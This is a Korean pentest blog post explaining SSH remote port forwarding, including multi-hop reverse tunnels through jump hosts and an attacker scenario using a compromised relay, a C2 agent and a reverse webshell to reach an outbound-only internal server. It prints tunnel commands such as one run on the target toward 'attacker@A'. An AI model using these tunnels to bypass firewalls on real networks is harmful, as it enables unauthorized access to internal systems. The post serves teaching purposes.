Remote Port Forwarding
Local Port Forwdring와 반대되는 개념이다.
로컬 내부망의 SSH 클라이언트가 외부 SSH 서버에 ssh -R 옵션으로 터널을 맺으면, 외부 서버의 지정된 포트로 들어오는 연결이 암호화된 SSH 세션을 통해 내부 지정 서비스로 전달된다.
다단계 네트워크에서의 Remote Port Forwarding
인터넷 -> DMZ -> 내부망 -> DB 망과 같이 계층적으로 구성된 다단계 네트워크에서는 최종 서버까지 여러 번의 횡적 이동이 필요하다. 이 때 외부에서 내부로의 인바운드 접속을 아예 차단하고, 오직 내부에서 외부로 나가는 아웃바운드만 허용하기도 한다.
이 때 사용되는 것이 SSH Reverse Tunneling 기법이다.
이를 통해 내부 시스템이 외부 중계 서버로 먼저 SSH 연결을 건 후 그, 연결을 역으로 이용해 내부 자원에 접속하는 방식이다.
# 1단계: 내부망 호스트 L에서 Jump2로 SSH 역터널 연결 (Jump2의 10001번 포트를 L의 SSH(22번)로 포워드)
L$ ssh -fN -R 10001:localhost:22 user@Jump2
# 2단계: Jump2에서 Jump1으로 SSH 역터널 연결 (Jump1의 10002번 포트를 Jump2의 10001번으로 포워드)
Jump2$ ssh -fN -R 10002:localhost:10001 user@Jump1
# 3단계: Jump1에서 외부 SSH 서버 X로 SSH 역터널 연결 (X의 10003번 포트를 Jump1의 10002번으로 포워드)
Jump1$ ssh -fN -R 10003:localhost:10002 user@X
이와 같이 3단계 역방향 터널을 순차적으로 열어두면, 최종적으로 외부 SSH 서버 X의 포트 10003에 들어오는 연결은 Jump1의 10002를 거쳐 Jump2의 10001로 흐르고, 거기서 다시 내부 서버 L의 22번 포트(SSH 서비스)까지 도달하게 된다.
아웃바운드-only 내부망에서 Reverse SSH 터널링으로 내부 서버 접근
기업 내부망의 서버 B가 인바운드(외부->내부) 트래픽이 차단되고 아웃바운드(내부->외부) 연결만 허용된 환경을 가정해보면
예를 들어 방화벽 정책상 B는 외부 웹서버(포트 80/443 등) 접속만 가능하고, 외부에서 B로 직접 접속할 수 없는 상황이다.
이러한 망분리/차단 환경에서 공격자 A는 중간 매개 서버 C의 도움을 받아 Reverse SSH 터널을 구축함으로써, 결국 외부에서 SSH, RDP, 웹서비스 등 B의 내부 자원에 접근할 수 있게 된다.
위 사진에서 보듯, B→C 방향으로 맺어진 SSH 세션 안에 C측 포트가 열려 있다.
공격자는 A가 열린 포트로 C에 접속하면 트래픽이 SSH 터널을 타고 내부 B로 전달된다.
해당 흐름은 A가 초기 C 서버를 장악한 후 C2 프레임워크 에이전트를 설치하여 추가 리버스 웹쉘과 같은 악성코드를 B 서버에 심었으며. 이후 B 서버에서 코드가 동작되며 C 서버로의 리버스 커넥션을 맺게 된다. 이 때 A에서는 리버스 포트 포워딩을 통해 C의 8800 포트로 들어오는 트래픽을 본인 서버의 5252포트로 포워딩 하게끔 설정 해놓았다.
이를 통해 B에서 C서버로의 8800 리버스 커넥션 트래픽은 고스란히 SSH 터널을 타고 A서버의 5252 포트로 전송되게 된다.
서로 다른 리버스 포트 포워딩
앞서 설명한 두 가지 리버스 포트 포워딩은 서로 다른 방식으로 진행했다.
우선 둘 다 “리모트 포트 포워딩(SSH RemoteForward, 흔히 ‘리버스 SSH 터널’)”이라고 부른다.
-R 옵션의 의미는 내가 접속한 반대편에 ㅔ리스닝 포트를 만들어 그 포트로 들어오는 트래픽을 내가 있는 쪽에서 지정한 목적지로 터널링 하라 라는 뜻이기 때문이다.
두 시나리오를 간략히 비교해보자.
① A(공격자)가 B(타깃)로 접속하며 -R 사용
A$ ssh -R 8080:127.0.0.1:80 user@B
- 리스너 위치: B(원격, sshd) → B:8080
- 포워딩 경로: Client(A) 관점에서 지정한 127.0.0.1:80(A 로컬 또는 A가 볼 수 있는 주소)로 터널링
- 한 줄 설명: “타깃(B) 쪽에 포트(8080)를 열고, 들어오는 걸 내 쪽(A)의 127.0.0.1:80으로 보낸다.”
- 노트: B:8080을 외부 노출하려면 B의 sshd에 GatewayPorts yes 또는 -R 0.0.0.0:8080:... 필요.
[클라 A] <=SSH=> [서버 B(리스너:8080)]
^ |
+------(터널)---------------+
to 127.0.0.1:80 (A 기준)
② B(타깃)가 A(공격자)로 접속하며 -R 사용(“리버스 SSH”)
B$ ssh -R 8080:127.0.0.1:80 attacker@A
- 리스너 위치: A(원격, sshd) → A:8080
- 포워딩 경로: Client(B) 관점에서 지정한 127.0.0.1:80(B 로컬 또는 B가 볼 수 있는 주소)로 터널링
- 한 줄 설명: “공격자(A) 쪽에 포트(8080)를 열고, 들어오는 걸 내 쪽(B)의 127.0.0.1:80으로 보낸다.”
- 노트: A의 sshd가 기본으론 loopback에 바인딩. 외부에서 A:8080 접근시키려면 A의 GatewayPorts/바인딩 조정 필요.
[클라 B] <=SSH=> [서버 A(리스너:8080)]
| ^
+------(터널)---------------+
to 127.0.0.1:80 (B 기준)
즉 Remote Port Forwarding 은
아래와 같은 규칙을 같는다.
- 규칙 1: -R이면 리스너는 항상 “원격(sshd 측)”.
- 규칙 2: host:hostport 목적지는 명령을 실행한 쪽(ssh 클라이언트)의 네트워크 시야로 해석.
'Pentest > Pentest' 카테고리의 다른 글
Reverse Dynamic Port Forwarding (0) | 2025.09.25 |
---|---|
Dynamic Port Forwarding (0) | 2025.09.24 |
Local Port Forwarding (0) | 2025.09.22 |
[모의 해킹] - Metasploitable2 - FTP 취약점 (CVE-2011-2523) (0) | 2023.10.31 |
[모의해킹] Kioptrix Level1.2 침투 테스트 (1) | 2023.10.09 |